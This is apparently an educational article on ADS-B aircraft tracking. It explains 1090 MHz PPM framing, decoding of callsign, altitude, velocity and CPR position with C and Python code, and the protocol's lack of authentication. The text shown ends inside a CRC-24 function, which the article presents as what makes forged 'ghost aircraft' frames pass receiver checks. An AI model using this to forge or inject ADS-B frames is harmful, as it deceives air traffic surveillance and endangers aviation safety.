← Back to Logs

How ADS-B Aircraft Tracking and RF Spoofing Work

Try the interactive lab for this articleTake the quiz (6 questions)

Every commercial airliner flying through European airspace broadcasts its exact position, altitude, velocity, and identification every half-second on an unencrypted, unauthenticated radio frequency. This system is Automatic Dependent Surveillance-Broadcast (ADS-B). It is the backbone of modern global Air Traffic Management (ATM) and powers crowdsourced tracking networks such as FlightRadar24, ADS-B Exchange, and Opensky Network.

Because ADS-B was designed in an era when Software Defined Radios (SDR) were restricted to military research labs, the physical layer lacks cryptographic authentication, digital signatures, sequence numbers, or message encryption. Any sub-100 euro USB SDR receiver can capture and decode position squitters from 300 kilometres away. Conversely, any low-cost SDR transmitter can synthesize valid RF pulses on 1090 MHz, injecting ghost aircraft into ground tracking stations and commercial receiver networks.

This article details the low-level physical layer, bit-level frame decoding, Compact Position Reporting (CPR) algorithms, RF signal synthesis mechanics for ghost aircraft injection, and physical-layer verification countermeasures.


1. ADS-B Out Protocol Architecture

ADS-B Out operates globally on two designated RF channels: 978 MHz Universal Access Transceiver (UAT, primarily used in lower-altitude general aviation within North America) and 1090 MHz Mode S Extended Squitter (1090ES, the international standard for commercial aviation defined in ICAO Annex 10 and RTCA DO-260B / EUROCAE ED-102A).

1090 MHz RF Carrier Physical Layer Specifications
=================================================
RF Carrier Frequency:  1090.0 MHz (±1.0 MHz tolerance)
Bandwidth:             50 kHz channel allocation (nominal 3 dB bandwidth)
Peak Output Power:     125 W to 500 W (+51 dBm to +57 dBm at transponder output)
Modulation Type:       Pulse Position Modulation (PPM) on 1090 MHz RF carrier
Data Rate:             1.0 Megabit per second (1 Mbps chip rate)
Frame Duration:        112 microseconds (112 bits) for Mode S Extended Squitter
Pulse Width:           0.5 microseconds (±0.05 μs rise/fall tolerance)
Frame Preamble:        8.0 microseconds (4 discrete 0.5 μs pulses)
Total Frame Length:    120.0 microseconds (Preamble + Payload)

Physical Layer: Pulse Position Modulation (PPM)

The 1090 MHz downlink utilizes 1 Mbps Manchester-encoded Pulse Position Modulation (PPM). Signal energy is transmitted as amplitude-modulated pulses on a 1090 MHz carrier wave.

In PPM, each 1.0 microsecond bit period is divided into two equal 0.5 microsecond intervals (chips):

  • Logic 1: High RF power (+50 dBm peak) in the first 0.5 μs chip, Low RF power in the second 0.5 μs chip.
  • Logic 0: Low RF power in the first 0.5 μs chip, High RF power (+50 dBm peak) in the second 0.5 μs chip.
PPM Bit Encoding Timing Diagram (Bit Period = 1.0 μs)
====================================================
 
          Logic 1                               Logic 0
    +-------+                             +-------+
    |       |                             |       |
    |       |                             |       |
----+       +-------                ------+       +-------
 0.0 μs   0.5 μs  1.0 μs             0.0 μs   0.5 μs  1.0 μs
 [  Chip 0  |  Chip 1  ]             [  Chip 0  |  Chip 1  ]
 [  High RF |  Low RF  ]             [  Low RF  |  High RF ]

Because every bit contains exactly one 0.5 μs pulse of RF energy regardless of whether it encodes a 0 or a 1, the total integrated RF energy over a 112 bit frame remains strictly constant. This property allows receiver hardware to maintain a stable Automatic Gain Control (AGC) threshold and provides self-clocking synchronization across the frame.

Receiver Analog Front-End & Threshold Detection

To decode incoming PPM pulses, an analog receiver front-end processes the 1090 MHz RF signal through a defined amplification and detection pipeline:

Receiver Front-End Signal Flow
==============================
 
 [ Antenna ] 
      |
      v
 [ 1090 MHz SAW Bandpass Filter ] (Rejects out-of-band cellular / GSM / TACAN)
      |
      v
 [ Low-Noise Amplifier (LNA) ] (Provides 15-25 dB RF gain)
      |
      v
 [ Logarithmic Amplifier / Peak Detector ] (Converts 1090 MHz RF envelope to DC voltage)
      |
      v
 [ Hysteresis Comparator / Analog-to-Digital Converter (ADC) ] (Digitizes pulse chips)
      |
      v
 [ FPGA / DSP Microcontroller ] (Preamble matching & bit decoding)

The logarithmic amplifier converts the high dynamic range RF pulse energy (ranging from -85 dBm for distant aircraft up to -10 dBm for nearby aircraft) into a baseband voltage signal proportional to power in decibels.

Bit decision logic evaluates the voltage ratio between Chip 0 ($V_0$) and Chip 1 ($V_1$) within each 1.0 μs bit window:

$$\text{Bit Value} = \begin{cases} 1 & \text{if } V_0 > V_1 + V_{\text{hysteresis}} \ 0 & \text{if } V_1 > V_0 + V_{\text{hysteresis}} \ \text{Erasure} & \text{if } |V_0 - V_1| \le V_{\text{hysteresis}} \end{cases}$$

Where $V_{\text{hysteresis}}$ prevents false bit flips caused by Gaussian thermal noise riding on the pulse amplitude envelope.

Preamble Timing & Detection Mechanics

Every 112-bit Mode S Extended Squitter frame is preceded by an 8.0 microsecond preamble sequence consisting of four 0.5 microsecond pulses arranged at exact microsecond offsets:

Preamble Pulse Microsecond Offset Structure (8.0 μs Total)
==========================================================
 
Pulse 1:  0.0 μs to 0.5 μs   (High RF Power)
Gap 1:    0.5 μs to 1.0 μs   (Low RF Power / Noise Window)
Pulse 2:  1.0 μs to 1.5 μs   (High RF Power)
Gap 2:    1.5 μs to 3.5 μs   (Low RF Power / 2.0 μs Quiet Window)
Pulse 3:  3.5 μs to 4.0 μs   (High RF Power)
Gap 3:    4.0 μs to 4.5 μs   (Low RF Power / Noise Window)
Pulse 4:  4.5 μs to 5.0 μs   (High RF Power)
Quiet:    5.0 μs to 8.0 μs   (Low RF Power / 3.0 μs Noise Reference Window)
Data:     8.0 μs to 120.0 μs (112 Bit Payload / 224 PPM Chips)

Receivers match raw analog envelopes or digitized I/Q sample magnitude buffers against this preamble template. In digital receivers sampling at rate $F_s$ (such as 2.0 MS/s or 8.0 MS/s), preamble correlation evaluates magnitude samples $M[n] = \sqrt{I[n]^2 + Q[n]^2}$:

$$\text{Correlation Score}[n] = M[n] + M[n + 2N_s] + M[n + 7N_s] + M[n + 9N_s]$$

$$\text{Noise Reference}[n] = M[n + N_s] + M[n + 3N_s] + M[n + 4N_s] + M[n + 8N_s] + M[n + 10N_s]$$

Where $N_s$ is the number of samples per 0.5 μs chip (e.g., $N_s = 4$ at 8.0 MS/s). A valid frame preamble trigger is declared when:

$$\text{Correlation Score}[n] > \gamma \cdot \text{Noise Reference}[n] \quad \text{and} \quad \text{Correlation Score}[n] > M_{\text{threshold}}$$

Where $\gamma$ is a scale factor (typically 2.5 to 3.0) and $M_{\text{threshold}}$ represents the static receiver squelch level.

Mode S transponders transmit multiple formats depending on ground radar interrogation and autonomous squitter timers. The first 5 bits of any Mode S frame define the Downlink Format (DF):

Mode S Downlink Formats (DF) Summary
=====================================
DF Value  Bit Length  Transmission Type  Primary Purpose
--------  ----------  -----------------  --------------------------------------------------
DF 0           56     Interrogated       Short Air-to-Air Surveillance (ACAS / TCAS)
DF 4           56     Interrogated       Surveillance Altitude Reply (100ft / 25ft resolution)
DF 5           56     Interrogated       Surveillance Identity Reply (Mode A 4-digit Squawk)
DF 11          56     Autonomous         All-Call Reply (Contains 24-bit ICAO address)
DF 16         112     Interrogated       Long Air-to-Air Surveillance (ACAS Coordination)
DF 17         112     Autonomous         Extended Squitter (ADS-B Broadcast Navigation Data)
DF 18         112     Autonomous         Extended Squitter (Non-Transponder / TIS-B / Surface)
DF 19         112     Autonomous         Military Extended Squitter Application
DF 20         112     Interrogated       Comm-B Altitude Reply (Contains 56-bit BDS register)
DF 21         112     Interrogated       Comm-B Identity Reply (Contains Mode A Squawk & BDS)
DF 24         112     Interrogated       Comm-D Extended Length Message (ELM data link)

Downlink Format 17 (DF=17, binary 10001) is the primary vehicle for ADS-B Out broadcasts. Unlike interrogated formats (DF 4, 5, 20, 21) which only transmit when painted by a ground secondary surveillance radar beam, DF=17 extended squitters are radiated autonomously by the transponder at pseudo-random intervals between 0.4 and 0.6 seconds to prevent systematic RF packet collisions between neighboring aircraft.

Mode S Extended Squitter Bit Layout

The 112-bit Extended Squitter frame is structured into five functional bit fields:

DF=17 Bit Layout Topology
=========================
 
+---------+--------+------------------+-----------------------+------------------+
| DF (5)  | CA (3) |  ICAO (24 bits)  |  ME Payload (56 bits) |  PI/CRC (24 bits)|
+---------+--------+------------------+-----------------------+------------------+
Bit 1    Bit 6    Bit 9              Bit 33                  Bit 89            Bit 112
  • DF (Downlink Format, Bits 1-5): Value 17 (10001 binary) specifies a Mode S Extended Squitter broadcast from airborne or surface transponders. (DF=18 indicates non-transponder devices such as TIS-B ground rebroadcasters or airport surface vehicle beacons).
  • CA (Capability, Bits 6-8): Identifies transponder level, airborne vs surface status, and communications capability:
    • 0: Level 1 transponder (Obsolete).
    • 4: Level 2+ transponder, airborne capability, ground capability.
    • 5: Level 2+ transponder, airborne capability only.
    • 6: Level 2+ transponder, surface capability only.
    • 7: DR=0 (No Downlink Request) and FS=0, 1, 2, 3, 4, or 5 capability.
  • ICAO Aircraft Address (Bits 9-32): A 24-bit unique hardware identifier allocated by national civil aviation authorities (e.g., Federal Aviation Administration in the USA, Deutsche Flugsicherung / Luftfahrt-Bundesamt in Germany, Civil Aviation Authority in the UK). For example, 0x3C6544 corresponds to a Lufthansa aircraft registered in Germany, while 0xA00001 falls within the United States civil aircraft block.
  • ME Payload (Message Extended, Bits 33-88): The 56-bit data field containing navigation parameters. The first 5 bits of the ME field (Bits 33-37 of the overall frame) form the Typecode (TC), which dictates how the remaining 51 payload bits are parsed.
  • PI/CRC (Parity/Interrogator ID, Bits 89-112): A 24-bit Cyclic Redundancy Check calculated over bits 1 through 88 using a standardized generator polynomial.

2. Telemetry Decoding & Compact Position Reporting (CPR)

The 56-bit ME payload carries different telemetry parameters based on its Typecode (TC):

Typecode (TC) Taxonomy and Telemetry Subtypes
=============================================
Typecode (TC)   Payload Contents
-------------   --------------------------------------------------------------
TC 1 - 4        Aircraft Identification & Category (Callsign, e.g. "DLH400")
TC 5 - 8        Surface Position (Ground speed, track, latitude/longitude)
TC 9 - 18       Airborne Position (Barometric Altitude, CPR Latitude/Longitude)
TC 19           Airborne Velocity (East-West & North-South speed, vertical rate)
TC 20 - 22      Airborne Position (GNSS / Height Above Ellipsoid altitude)
TC 23 - 27      Reserved for Test & Special Applications
TC 28           Aircraft Status (Emergency status, squawk code updates)
TC 29           Target State and Status Information (Selected altitude/heading)
TC 31           Aircraft Operational Status (System capabilities, ADS-B version)

Typecodes 1-4: Aircraft Identification & Category Decoding

When TC is between 1 and 4, bits 38 through 88 encode an 8-character callsign using a 6-bit modified ASCII mapping table (IA-5 format).

Bits 33-37: Typecode (5 bits)
Bits 38-40: Aircraft Category (3 bits, e.g. Heavy, Medium, Light)
Bits 41-46: Character 1 (6 bits)
Bits 47-52: Character 2 (6 bits)
Bits 53-58: Character 3 (6 bits)
Bits 59-64: Character 4 (6 bits)
Bits 65-70: Character 5 (6 bits)
Bits 71-76: Character 6 (6 bits)
Bits 77-82: Character 7 (6 bits)
Bits 83-88: Character 8 (6 bits)

The 6-bit integer character codes map directly to printable ASCII values according to the ICAO Annex 10 mapping array:

IA-5 6-Bit Character Mapping Array
=================================
Index 00-07:  ?  A  B  C  D  E  F  G
Index 08-15:  H  I  J  K  L  M  N  O
Index 16-23:  P  Q  R  S  T  U  V  W
Index 24-31:  X  Y  Z  ?  ?  ?  ?  ?
Index 32-39:  Space ? ?  ?  ?  ?  ?  ?
Index 40-47:  ?  ?  ?  ?  ?  ?  ?  ?
Index 48-55:  0  1  2  3  4  5  6  7
Index 56-63:  8  9  ?  ?  ?  ?  ?  ?

Below is a functional C decoding implementation:

// C implementation of ADS-B Callsign Decoding
#include <stdio.h>
#include <stdint.h>
 
const char IA5_CHARSET[] = "?ABCDEFGHIJKLMNOPQRSTUVWXYZ????? ???????0123456789??????";
 
void decode_adsb_callsign(uint64_t me_payload, char *callsign_out) {
    // me_payload contains bits 33 to 88 (56 bits total)
    // Extract lower 48 bits (bits 41 to 88 of the frame)
    uint64_t chars_data = me_payload & 0x0001FFFFFFFFFFFFULL;
    
    for (int i = 0; i < 8; i++) {
        uint8_t char_code = (chars_data >> (42 - (i * 6))) & 0x3F;
        callsign_out[i] = IA5_CHARSET[char_code];
    }
    callsign_out[8] = '\0';
}

Typecodes 9-18: Airborne Position & Altitude Decoding

For TC 9 through 18, the 56-bit payload layout is organized as follows:

Bits 33-37: Typecode (5 bits: TC 9-18 indicates navigation containment bounds)
Bits 38-39: Surveillance Status (2 bits: 0=No condition, 1=Permanent alert, 2=Temporary alert, 3=SPI)
Bit 40:     Single Antenna Flag (1 bit: 0=Diversity antenna, 1=Single antenna)
Bits 41-52: Encoded Altitude (12 bits)
Bit 53:     Time Flag / UTC Sync (1 bit: 0=Not synced to UTC, 1=Synced to UTC)
Bit 54:     CPR Format / Frame Type (1 bit: 0 = Even Frame, 1 = Odd Frame)
Bits 55-71: Encoded CPR Latitude (17 bits)
Bits 72-88: Encoded CPR Longitude (17 bits)

Altitude Decoding Mechanics & Gillham Gray Code Conversion

The 12-bit altitude field evaluates bit 47 (the Q-bit, which corresponds to bit 7 of the 12-bit altitude sub-field):

  • If Q-bit = 1: Altitude is measured in 25-foot increments. The remaining 11 bits (excluding bit 47) are concatenated to form an integer $N$:

$$\text{Altitude (ft)} = N \times 25 - 1000$$

Example: If the 11 bits form the integer $N = 440$, the decoded altitude is $440 \times 25 - 1000 = 10,000\text{ ft}$.

  • If Q-bit = 0: Altitude is encoded using 100-foot Gillham Gray code intervals (legacy Mode C altitude encoder interface). The 11 non-Q bits are split into two interleaved Gray code words: a 3-bit word representing 500-foot increments and an 8-bit word representing 100-foot increments within each 500-foot block.
// C implementation of Gillham Gray Code Altitude Decoding (Q-bit = 0)
#include <stdint.h>
 
int decode_gillham_altitude(uint16_t alt_bits) {
    // Extract Gillham bits (m1, m2, c1, c2, c3, a1, a2, a4, b1, b2, b4)
    // Bit mapping according to ICAO Annex 10 Mode C specifications
    uint16_t gray_500 = ((alt_bits & 0x080) >> 5) | ((alt_bits & 0x020) >> 4) | ((alt_bits & 0x008) >> 3);
    uint16_t gray_100 = ((alt_bits & 0x400) >> 10) | ((alt_bits & 0x200) >> 8) | 
                         ((alt_bits & 0x100) >> 6)  | ((alt_bits & 0x040) >> 3) | 
                         ((alt_bits & 0x010) >> 2)  | ((alt_bits & 0x004) >> 0) | 
                         ((alt_bits & 0x002) << 2)  | ((alt_bits & 0x001) << 4);
                         
    // Convert 500-ft Gray code to binary
    uint16_t bin_500 = gray_500;
    bin_500 ^= (bin_500 >> 2);
    bin_500 ^= (bin_500 >> 1);
    
    // Convert 100-ft Gray code to binary
    uint16_t bin_100 = gray_100;
    bin_100 ^= (bin_100 >> 8);
    bin_100 ^= (bin_100 >> 4);
    bin_100 ^= (bin_100 >> 2);
    bin_100 ^= (bin_100 >> 1);
 
    if (bin_100 == 5 || bin_100 == 6) return -9999; // Invalid Gillham combination
    if (bin_100 > 4) bin_100 = 9 - bin_100; // Invert count on odd 500-ft blocks
 
    int altitude_ft = (bin_500 * 500) + (bin_100 * 100) - 1200;
    return altitude_ft;
}

Typecode 19: Airborne Velocity Decoding

Typecode 19 provides high-frequency vector information. The 56-bit payload structure varies depending on the 3-bit Subtype (bits 38-40):

  • Subtype 1 & 2: Ground Speed (Subtype 1 = Normal speeds, Subtype 2 = Supersonic speeds above 1021 knots).
  • Subtype 3 & 4: Airspeed and Heading (Subtype 3 = Airspeed, Subtype 4 = Supersonic Airspeed).
Typecode 19 Subtype 1 Payload Layout (Ground Speed)
===================================================
 
Bits 33-37: Typecode = 19 (5 bits)
Bits 38-40: Subtype = 1 (3 bits: Ground Speed East-West & North-South)
Bit 41:     Intent Change Flag (1 bit)
Bit 42:     IFR Capability Flag (1 bit)
Bits 43-45: Navigation Accuracy Category for Velocity (NACv, 3 bits)
Bit 46:     East-West Velocity Direction (1 bit: 0 = East, 1 = West)
Bits 47-56: East-West Velocity Magnitude ($V_{ew}$, 10 bits: speed in knots + 1)
Bit 57:     North-South Velocity Direction (1 bit: 0 = North, 1 = South)
Bits 58-67: North-South Velocity Magnitude ($V_{ns}$, 10 bits: speed in knots + 1)
Bit 68:     Vertical Rate Source (1 bit: 0 = Barometric, 1 = GNSS)
Bit 69:     Vertical Rate Direction (1 bit: 0 = Up / Climbing, 1 = Down / Descending)
Bits 70-78: Vertical Rate Magnitude ($V_{vr}$, 9 bits: rate in ft/min in 64-ft steps)
Bits 79-80: Reserved (2 bits)
Bit 81:     GNSS Baro Difference Direction (1 bit: 0 = Above baro, 1 = Below baro)
Bits 82-88: GNSS Baro Difference Magnitude (7 bits: difference in 25-ft steps)

Ground Speed and Heading Vector Mathematics

The total scalar ground speed $V_g$ and track angle $\psi$ are computed from the orthogonal velocity components $V_{ew}$ and $V_{ns}$:

$$V_{x} = \begin{cases} +(V_{ew} - 1) & \text{if Direction}{ew} = 0 \text{ (East)} \ -(V{ew} - 1) & \text{if Direction}_{ew} = 1 \text{ (West)} \end{cases}$$

$$V_{y} = \begin{cases} +(V_{ns} - 1) & \text{if Direction}{ns} = 0 \text{ (North)} \ -(V{ns} - 1) & \text{if Direction}_{ns} = 1 \text{ (South)} \end{cases}$$

$$V_g = \sqrt{V_{x}^2 + V_{y}^2} \quad \text{(knots)}$$

$$\psi = \left( \operatorname{atan2}(V_{x}, V_{y}) \times \frac{180}{\pi} \right) \bmod 360^\circ$$

The C implementation below decodes TC=19 Ground Speed payloads:

// C implementation of Airborne Velocity (TC=19 Subtype 1) Decoding
#include <stdio.h>
#include <stdint.h>
#include <math.h>
 
typedef struct {
    double ground_speed_knots;
    double track_heading_deg;
    int vertical_rate_ft_min;
    int gnss_baro_diff_ft;
} velocity_telemetry_t;
 
void decode_airborne_velocity(uint64_t me_payload, velocity_telemetry_t *out) {
    uint8_t subtype = (me_payload >> 48) & 0x07;
    
    if (subtype == 1 || subtype == 2) { // Ground speed subtype
        int speed_multiplier = (subtype == 2) ? 4 : 1; // Supersonic multiplier
        
        uint8_t ew_dir = (me_payload >> 42) & 0x01;
        uint16_t ew_raw = (me_payload >> 32) & 0x03FF;
        uint8_t ns_dir = (me_payload >> 31) & 0x01;
        uint16_t ns_raw = (me_payload >> 21) & 0x03FF;
        
        double v_ew = (double)(ew_raw - 1) * speed_multiplier;
        double v_ns = (double)(ns_raw - 1) * speed_multiplier;
        
        if (ew_dir == 1) v_ew = -v_ew; // Westward
        if (ns_dir == 1) v_ns = -v_ns; // Southward
        
        out->ground_speed_knots = sqrt(v_ew * v_ew + v_ns * v_ns);
        
        double track_rad = atan2(v_ew, v_ns);
        double track_deg = track_rad * (180.0 / M_PI);
        if (track_deg < 0) track_deg += 360.0;
        out->track_heading_deg = track_deg;
        
        // Vertical Rate Decoding
        uint8_t vr_dir = (me_payload >> 19) & 0x01;
        uint16_t vr_raw = (me_payload >> 10) & 0x01FF;
        if (vr_raw != 0) {
            int vr_mag = (vr_raw - 1) * 64;
            out->vertical_rate_ft_min = (vr_dir == 1) ? -vr_mag : vr_mag;
        } else {
            out->vertical_rate_ft_min = 0; // Vertical rate unavailable
        }
    }
}

Compact Position Reporting (CPR) Mathematics

A naive representation of global coordinates requires at least 24 bits for latitude and 24 bits for longitude to achieve 1-metre precision. However, ADS-B allocates only 34 bits total for position (17 bits for latitude, 17 bits for longitude).

To achieve high-resolution positioning within 34 bits, ADS-B implements Compact Position Reporting (CPR). CPR divides the Earth's surface into geographic zones:

  • Even Frames ($T_N = 0$): Globe is divided into 60 latitude zones (zone height $\Delta Lat_0 = \frac{360^\circ}{60} = 6.0^\circ$).
  • Odd Frames ($T_N = 1$): Globe is divided into 59 latitude zones (zone height $\Delta Lat_1 = \frac{360^\circ}{59} \approx 6.101695^\circ$).

Within any single 17-bit latitude value ($YZ_0$ or $YZ_1$), the encoded integer represents the relative position within a latitude zone scaled across $2^{17} = 131072$ steps.

Derivation of Longitude Zone Count $NL(\phi)$

Because meridians converge toward the geographic poles, the physical width of a 6-degree longitude block shrinks at higher latitudes. To preserve a consistent spatial resolution of roughly 5.1 nautical miles per longitude zone across all latitudes, CPR dynamically reduces the number of longitude zones $NL(\phi)$ as latitude $\phi$ increases toward the poles.

The number of longitude zones $NL(\phi)$ is mathematically defined by ICAO Annex 10:

$$NL(\phi) = \begin{cases} 1 & \text{if } |\phi| \ge 87.0^\circ \ \left\lfloor \frac{2\pi}{\arccos\left( 1 - \frac{1 - \cos(\frac{\pi}{2 N_z})}{\cos^2(\frac{\pi}{180} |\phi|)} \right)} \right\rfloor & \text{if } |\phi| < 87.0^\circ \end{cases}$$

Where $N_z = 15$ is the constant number of latitude zones between the equator and the pole in a single quadrant. At the equator ($\phi = 0^\circ$), $NL(0) = 60$. At latitude $\phi = 45^\circ$, $NL(45) = 43$. At latitude $\phi = 80^\circ$, $NL(80) = 9$.

Global Decoding Algorithm (Pairing Even and Odd Frames)

To unambiguously decode global position without prior knowledge of the aircraft's position, a receiver must capture one Even frame and one Odd frame within 10 seconds of each other.

Let $YZ_0$ be the 17-bit encoded latitude from the Even frame, and $YZ_1$ be the 17-bit encoded latitude from the Odd frame. Let $XZ_0$ and $XZ_1$ be the corresponding 17-bit encoded longitudes.

Step 1: Compute Latitude Zone Index (j)
--------------------------------------
j = floor( 59 * (YZ_0 / 131072.0) - 60 * (YZ_1 / 131072.0) + 0.5 )
 
Step 2: Compute Latitude Candidate Values for Even and Odd
-----------------------------------------------------------
Lat_0 = 6.0 * ( (j mod 60) + (YZ_0 / 131072.0) )
Lat_1 = 6.101694915254237 * ( (j mod 59) + (YZ_1 / 131072.0) )
 
Normalize Latitudes to [-90°, +90°]:
If Lat_0 >= 270.0: Lat_0 = Lat_0 - 360.0
If Lat_1 >= 270.0: Lat_1 = Lat_1 - 360.0
 
Step 3: Check Latitude Zone Consistency
---------------------------------------
If NL(Lat_0) != NL(Lat_1):
    Discard frame pair (aircraft crossed a longitude zone boundary between frames)
 
Step 4: Select Most Recent Latitude Frame
-----------------------------------------
Final Latitude (Lat) = (Timestamp(Odd) > Timestamp(Even)) ? Lat_1 : Lat_0
 
Step 5: Compute Longitude Zone Count ni
---------------------------------------
For Even Frame (TN = 0):  ni = max( NL(Lat_0), 1 )
For Odd Frame (TN = 1):   ni = max( NL(Lat_1) - 1, 1 )
 
Step 6: Compute Longitude Index (m) & Final Longitude (Lon)
-----------------------------------------------------------
For Even Frame (TN = 0):
  dLon = 360.0 / ni
  m = floor( (XZ_0 / 131072.0) * NL(Lat_0) - (XZ_1 / 131072.0) * (NL(Lat_0) - 1) + 0.5 )
  Lon = dLon * ( (m mod ni) + (XZ_0 / 131072.0) )
 
For Odd Frame (TN = 1):
  dLon = 360.0 / ni
  m = floor( (XZ_0 / 131072.0) * NL(Lat_1) - (XZ_1 / 131072.0) * (NL(Lat_1) - 1) + 0.5 )
  Lon = dLon * ( (m mod ni) + (XZ_1 / 131072.0) )
 
Normalize Longitude to [-180°, +180°]:
If Lon >= 180.0: Lon = Lon - 360.0

Local CPR Decoding Algorithm (Single Frame Position Update)

Once an aircraft's position has been established via Global CPR (or seeded from a known ground receiver location), subsequent position squitters can be decoded using Local CPR from a single frame (either Even or Odd). This avoids waiting for a complementary frame pair.

Given a known reference position $(\text{Lat}{\text{ref}}, \text{Lon}{\text{ref}})$ and a single incoming frame with 17-bit latitude $YZ$ and 17-bit longitude $XZ$:

$$\Delta\text{Lat} = \begin{cases} \frac{360^\circ}{60} = 6.0^\circ & \text{if Even Frame } (T_N = 0) \ \frac{360^\circ}{59} \approx 6.101695^\circ & \text{if Odd Frame } (T_N = 1) \end{cases}$$

$$j = \left\lfloor \frac{\text{Lat}{\text{ref}}}{\Delta\text{Lat}} \right\rfloor + \left\lfloor 0.5 + \frac{\text{Lat}{\text{ref}} \bmod \Delta\text{Lat}}{\Delta\text{Lat}} - \frac{YZ}{131072.0} \right\rfloor$$

$$\text{Lat}_{\text{decoded}} = \Delta\text{Lat} \cdot \left( j + \frac{YZ}{131072.0} \right)$$

Next, calculate the longitude zone width $\Delta\text{Lon}$ based on the decoded latitude:

$$P_{\text{lon}} = \begin{cases} NL(\text{Lat}{\text{decoded}}) & \text{if } T_N = 0 \ \max(NL(\text{Lat}{\text{decoded}}) - 1, 1) & \text{if } T_N = 1 \end{cases}$$

$$\Delta\text{Lon} = \frac{360^\circ}{P_{\text{lon}}}$$

$$m = \left\lfloor \frac{\text{Lon}{\text{ref}}}{\Delta\text{Lon}} \right\rfloor + \left\lfloor 0.5 + \frac{\text{Lon}{\text{ref}} \bmod \Delta\text{Lon}}{\Delta\text{Lon}} - \frac{XZ}{131072.0} \right\rfloor$$

$$\text{Lon}_{\text{decoded}} = \Delta\text{Lon} \cdot \left( m + \frac{XZ}{131072.0} \right)$$

Local CPR decoding is valid only if the aircraft has moved less than half a zone width ($\approx 180\text{ nautical miles}$) from the reference position.

Here is a functional Python implementation of global and local CPR coordinate reconstruction:

import math
 
def nl(lat_deg):
    """Compute the Number of Longitude zones NL for a given latitude in degrees."""
    if abs(lat_deg) >= 87.0:
        return 1
    lat_rad = math.radians(abs(lat_deg))
    nz = 15
    a = 1.0 - math.cos(math.pi / (2.0 * nz))
    b = math.cos(lat_rad) ** 2
    cos_val = 1.0 - (a / b)
    if cos_val < -1.0 or cos_val > 1.0:
        return 1
    nl_val = math.floor((2.0 * math.pi) / math.acos(cos_val))
    return int(nl_val)
 
def cpr_decode_global(yz0, xz0, yz1, xz1, is_most_recent_odd=False):
    """
    Decodes global CPR latitude and longitude.
    yz0, xz0: Even frame 17-bit latitude and longitude values
    yz1, xz1: Odd frame 17-bit latitude and longitude values
    """
    d_lat0 = 360.0 / 60.0
    d_lat1 = 360.0 / 59.0
 
    # Compute latitude index j
    j = math.floor(59.0 * (yz0 / 131072.0) - 60.0 * (yz1 / 131072.0) + 0.5)
 
    lat0 = d_lat0 * ((j % 60) + (yz0 / 131072.0))
    lat1 = d_lat1 * ((j % 59) + (yz1 / 131072.0))
 
    if lat0 >= 270.0: lat0 -= 360.0
    if lat1 >= 270.0: lat1 -= 360.0
 
    # Check latitude zone consistency across frame pair
    if nl(lat0) != nl(lat1):
        return None  # Transition across longitude zone boundary; discard frame pair
 
    if is_most_recent_odd:
        lat = lat1
        ni = max(nl(lat) - 1, 1)
        m = math.floor((xz0 / 131072.0) * nl(lat) - (xz1 / 131072.0) * (nl(lat) - 1) + 0.5)
        lon = (360.0 / ni) * ((m % ni) + (xz1 / 131072.0))
    else:
        lat = lat0
        ni = max(nl(lat), 1)
        m = math.floor((xz0 / 131072.0) * nl(lat) - (xz1 / 131072.0) * (nl(lat) - 1) + 0.5)
        lon = (360.0 / ni) * ((m % ni) + (xz0 / 131072.0))
 
    if lon >= 180.0:
        lon -= 360.0
 
    return round(lat, 5), round(lon, 5)
 
def cpr_decode_local(lat_ref, lon_ref, yz, xz, is_odd=False):
    """
    Decodes single-frame local CPR position using a reference position.
    """
    d_lat = 360.0 / (59.0 if is_odd else 60.0)
    j = math.floor(lat_ref / d_lat) + math.floor(0.5 + ((lat_ref % d_lat) / d_lat) - (yz / 131072.0))
    lat = d_lat * (j + (yz / 131072.0))
    
    p_lon = max(nl(lat) - (1 if is_odd else 0), 1)
    d_lon = 360.0 / p_lon
    m = math.floor(lon_ref / d_lon) + math.floor(0.5 + ((lon_ref % d_lon) / d_lon) - (xz / 131072.0))
    lon = d_lon * (m + (xz / 131072.0))
    
    return round(lat, 5), round(lon, 5)
 
# Example Verification: Global Decoding over Frankfurt Airport (EDDF)
# Even frame (YZ0=84310, XZ0=61440) | Odd frame (YZ1=79820, XZ1=58912)
lat, lon = cpr_decode_global(84310, 61440, 79820, 58912, is_most_recent_odd=True)
print(f"Global Decoded Position: Latitude {lat}°, Longitude {lon}°")
 
# Example Verification: Local Decoding using reference position (50.0°, 8.5°)
loc_lat, loc_lon = cpr_decode_local(50.0, 8.5, 79820, 58912, is_odd=True)
print(f"Local Decoded Position:  Latitude {loc_lat}°, Longitude {loc_lon}°")

3. The Unauthenticated RF Surface

The fundamental security vulnerability of ADS-B stems from a total absence of security controls at the physical and link layers.

Security Attribute Matrix: ADS-B Protocol Reality vs Requirements
=================================================================
Security Attribute        ADS-B Protocol Reality
------------------        -------------------------------------------------------------
Data Confidentiality      None (Cleartext unencrypted broadcast on 1090.0 MHz)
Data Integrity            24-bit Polynomial CRC only (No cryptographic HMAC or signatures)
Sender Authentication     None (24-bit ICAO address is static and trivially spoofable)
Replay Protection         None (No frame timestamps, sequence counters, or nonces)
Anti-Jamming              None (Narrowband modulation; highly vulnerable to RF noise)

The 24-Bit CRC Fallacy & Polynomial Generator

ADS-B frames append a 24-bit CRC field to detect random RF channel noise. The parity bits are generated using polynomial division over GF(2) with the standard Mode S generator polynomial:

$$G(x) = x^{24} + x^{23} + x^{22} + x^{21} + x^{20} + x^{19} + x^{18} + x^{17} + x^{16} + x^{15} + x^{14} + x^{13} + x^{12} + x^{10} + x^3 + 1$$

Hexadecimal representation: 0x1FFF407.

Crucially, standard polynomial CRCs are linear functions over GF(2):

$$\text{CRC}(A \oplus B) = \text{CRC}(A) \oplus \text{CRC}(B)$$

Because CRC-24 contains zero secret key material, any entity capable of constructing a binary payload can evaluate $G(x)$ over bits 1 to 88 and produce a mathematically valid 24-bit parity word. Receiver hardware running firmware such as dump1090 or readsb will validate the CRC, confirm bit integrity, and forward the payload into data processing pipelines.

// C implementation of Mode S CRC-24 calculation
#include <stdint.h>
 
#define MODES_GENERATOR_POLY 0x1FFF407ULL
 
uint32_t calculate_modes_crc(const uint8_t *frame_bytes, int bit_len) {
    uint32_t remainder = 0;
    
    for (int i = 0; i < bit_len; i++) {
        uint8_t bit = (frame_bytes[i / 8] >> (7 - (i % 8))) & 1;
        remainder = (remainder << 1) | bit;
        if (remainder & 0x1000000) { // Test bit 25
            remainder ^= MODES_GENERATOR_POLY;
        }
    }
    
    // Top off with 24 zero bits
    for (int i = 0; i < 24; i++) {
        remainder = (remainder << 1);
        if (remainder & 0x1000000) {
            remainder ^= MODES_GENERATOR_POLY;
        }
    }
    
